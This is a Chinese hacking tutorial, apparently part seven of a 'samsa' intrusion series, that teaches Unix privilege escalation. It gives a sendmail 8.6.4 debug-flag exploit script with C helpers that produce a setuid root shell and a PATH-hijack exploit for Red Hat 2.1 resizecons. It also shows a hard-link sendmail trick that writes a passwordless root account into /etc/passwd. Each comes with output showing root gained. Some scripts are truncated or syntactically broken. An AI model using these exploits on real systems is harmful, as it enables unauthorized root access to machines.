samsa网络入侵教程七

/ns/cn/jc/data/20010129104044.htm

2.3) 其他类型的漏洞:
2.3.1) 程序调试后门(backdoor for debugging)
e.g.利用sendmail(8.6.4)的漏洞,让我们先看看程序:

---------------------------- begin: sendbug.sh --------------------------
#!/bin/sh

SENDMAIL=/usr/lib/sendmail
CONFIG=/etc/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL|grep sendmail.cf`
#The strings utility looks for ASCII strings in a binary file.
SHELL=/bin/ksh
CC=gcc

TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "creating setid0..."
cat >setid.c << __EOF__
#include <stdio.h>

main(argc,argv)
int argc;
char *argv[];
{ int uid;
setuid(0);

if (getuid() != 0) {puts("setuid(0) failed");exit(1);}
execl(argv[1],"mysh",NULL);
}
__EOF__

$CC -o setid0 setid.c

echo "creating calc..."
cat >calc.c <<__EOF__
#include <fcntl.h>

void
gencore(){
int pid,fd[2];
if(pipe(fd)<0){ perror("pipe");exit(1);}
pid=fork();
if (!pid){
int f=open("./out",O_RDWR|O_CREAT,0666);
dup2(f,1); dup2(fd[0],0);
close(f); close(fd[0]); close(fd[1]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs",0);
perror("exec");
exit(1);
}
else{
sleep(2);
kill(pid,11);
}
close(fd[0]); close(fd[1]);
}

int find(pattern,file)
char *pattern;
char *file;
{ int fd,i,addr; char c;
fd=open(file,O_RDONLY);
i=0; addr=0;
while(read(fd,&c,1)==1){
if (pattern[i ==c) i++;
else i=0;
if (pattern[i =='\0'){
addr-=strlen(pattern);
return(addr);
}
addr++;
}
}

main(argc,argv)
int argc;
char *argv[];
{ unsigned int ConfFile,tTdvect,off;

gencore();
sync();
tTdvect=find("ZZZZZZZZ","core");
ConfFile=find(argv[1],"core");
if (!tTdvect||!ConfFile) return (1);
off=ConfFile-tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%
off,'/',off+1,'t',off+2,'m',off+3,'p',off+4,'/',off+5,'s',
off+6,'m',off+7,'.',off+8,'c',off+9,'f',off+10);
/* "/tmp/sm.cf" */
}

__EOF__

$CC -o calc calc.c

echo "scanning core image for $CONFIG"

DEBUGFLAGS=`./calc $CONFIG`

echo "creating alias.sh"
cat >alias.sh << __EOF__
#!/bin/sh

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
__EOF__

chmod 755 alias.sh

echo "creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
cat >> /tmp/sm.cf << __EOF__
OA$TEMPDIR/aliases
Ou0
Og0
DZWHOOP-v1.0
__EOF__

echo "creating the sendmail script..."
cat > sendmail.script << __EOF__
helo
mail from:nobody

---------------------------- end : sendbug.sh --------------------------

运行结果为:

creating setid0...
creating calc...
scanning core image for /etc/mail/sendmail.cf
creating alias.sh
creating fake alias file...
faking alias pointer in new config file...
creating the sendmail script...
executing /usr/lib/sendmail -d4294929924.47,4294929925.116,4294929926.109,42949
9927.112,4294929928.47,4294929929.115,4294929930.109,4294929931.46,4294929932.9
,4294929933.102,4294929934.0 -bs ...
Version SMI-8.6.4
220 sun8. Sendmail SMI-8.6.4/SMI-SVR4 ready at Thu, 20 May 1999 16:09:53 +0900
250 sun8. Hello sws@localhost, pleased to meet you
250 nobody... Sender ok
250 yash... Recipient ok
354 Enter mail, end with "." on a line by itself
250 RAA06733 Message accepted for delivery
221 sun8. closing connection
setid0 is a suid shell.executing...
#

大致过程是这样:

0,编译setid0、calc两个程序;

1,运行calc程序,该程序的目的是要计算sendmail程序的内存映像中标志性字符串
"ZZZZZZZZ"和另一个字符串:sendmail配置文件的路径名,之间的偏移量。
为此,calc的一个子进程运行sendmail的一个拷贝(sm)来替代自己(execl),主进程
则先sleep 2秒,然后发一个段出错信号(SIGSEGV=11)给该子进程,从而使之产生一
个“段错误”,生成一个"core"文件;之后calc计算该文件中上述两个字符串之间
的偏移量。最后该程序输出一个字符串,其中隐含"/tmp/sm.cf"字样;

2,生成伪造的``sendmail.cf''配置文件,即:/tmp/sm.cf,其中规定sendmail以root
权限运行,并设置了这样一个别名:
"yash: |$TEMPDIR/alias.sh"
使得寄给yash的邮件被重定向给alias.sh这个shell程序,而这个shell程序所做的事
就是把setid0变成SUID ROOT的。

3,运行sendmail,以sendmail.script为输入脚本,这个脚本以nobody的名义向yash别
名发一封邮件,以便触发alias.sh脚本。现在的问题是(也即:最关键的问题),怎么
使得sendmail运行的时候不使用缺省的配置文件(e.g./etc/mail/sendmail.cf,这个文
件是我们无法改写的),而使用我们伪造的配置文件/tmp/sm.cf ?!
看:

executing /usr/lib/sendmail -d4294929924.47,4294929925.116,4294929926.109,4294
9927.112,4294929928.47,4294929929.115,4294929930.109,4294929931.46,4294929932.
,4294929933.102,4294929934.0 -bs ...

-d 选项是设置某种debug value,具体到这里,就是在e.g.相对于内存映像中相对于字
符串"ZZZZZZZZ"偏移量为4294929924的地方用47代替原来在该位置的值,以此类推,整个 选项的最终结果是,在原来放缺省配置文件路径名(e.g./etc/mail/sendmail.cf)的地方 放上了伪造配置文件的路径名(我前面已经指出:calc输出的字符串中隐含"/tmp/sm.cf") 这样,我们就达到了目的。

(samsa:当然,-d 的这种处理是Sendmail 8.6.4特有的,大概是程序员遗留下的后门吧?)

4,最后,我们检测setid0程序是否已置SUID位,如果是,成功,运行该程序,我们就变成? root!!!

当然,另一个要点是:sendmail本身是SUID ROOT的(自己都不是SUID ROOT的程序又怎么可能把别`人'变成SUID ROOT呢?

$ ls -l /usr/lib/sendmail
-r-sr-xr-x 1 root bin 234980 Oct 25 1995 /usr/lib/sendmail

(samsa[思考]:Sendmail 8.6.4并非那么常见,甚至可遇不可求,不过我们可以得到启发? 即使Sendmail版本不是8.6.4,但如sendmail.cf和alias文件碰巧可写,我们不是也可以做 同样的事吗?...)


2.3.2) 非绝对路径执行(executing not by absolute PATH)
当一个SUID ROOT程序中途要以root权限运行别的相关程序,但没有用全路径名来指定该
程序时,可以通过修改PATH环境变量和放置一个伪造的同名程序在PATH中位置靠前(比真
实程序所在的目录靠前)的某个目录里,即可以root权限程序执行任何我们想执行的程序?

e.g.Linux Red Hat 2.1 中/usr/bin/resizecons是suid root的,它执行restoretextmode
setfont两个相关程序,且未指定绝对路径;exploit程序如下:

-------------------------- begin: wozzeck.sh --------------------------------
#!/bin/sh
#
# wozzeck.sh
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi

-------------------------- end : wozzeck.sh --------------------------------

执行结果:
$ ./wozzeck.sh
================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
================ Checking system vulnerability
++++++++++++++++ System appears vulnerable.
++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
$ /tmp/wozz
#

(samsa:bingo!!!I am root AGAIN!!!)

2.3.3) 硬链接写(hard link writing)
e.g.Sendmail 8.8.4

$ cd /var/tmp
$ ls -ld .
drwxrwxrwt 2 sys sys 512 May 21 17:02 .
$ ln /etc/passwd dead.letter
$ ls -l
total 2
-r--r--r-- 2 root sys 939 May 14 11:05 dead.letter
(发一封无法投递的邮件)
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 sun8. Sendmail SMI-8.8.4/SMI-SVR4 ready at Fri, 21 May 1999 17:07:03 +0900
mail from:w@www.ww.w
250 w@www.ww.w... Sender ok
rcpt to:m@mmm.mm.m
250 m@mmm.mm.m... Recipient ok
data
354 Enter mail, end with "." on a line by itself
hacker::0:0:I am a hacker:/:/bin/sh
.
250 RAA00579 Message accepted for delivery
quit
221 sun8. closing connection
Connection closed by foreign host.
$ tail -1 /var/tmp/dead.letter
hacker::0:0:I am a hacker:/:/bin/sh
$ tail -1 /etc/passwd
hacker::0:0:I am a hacker:/:/bin/sh

(samsa:gotcha!!)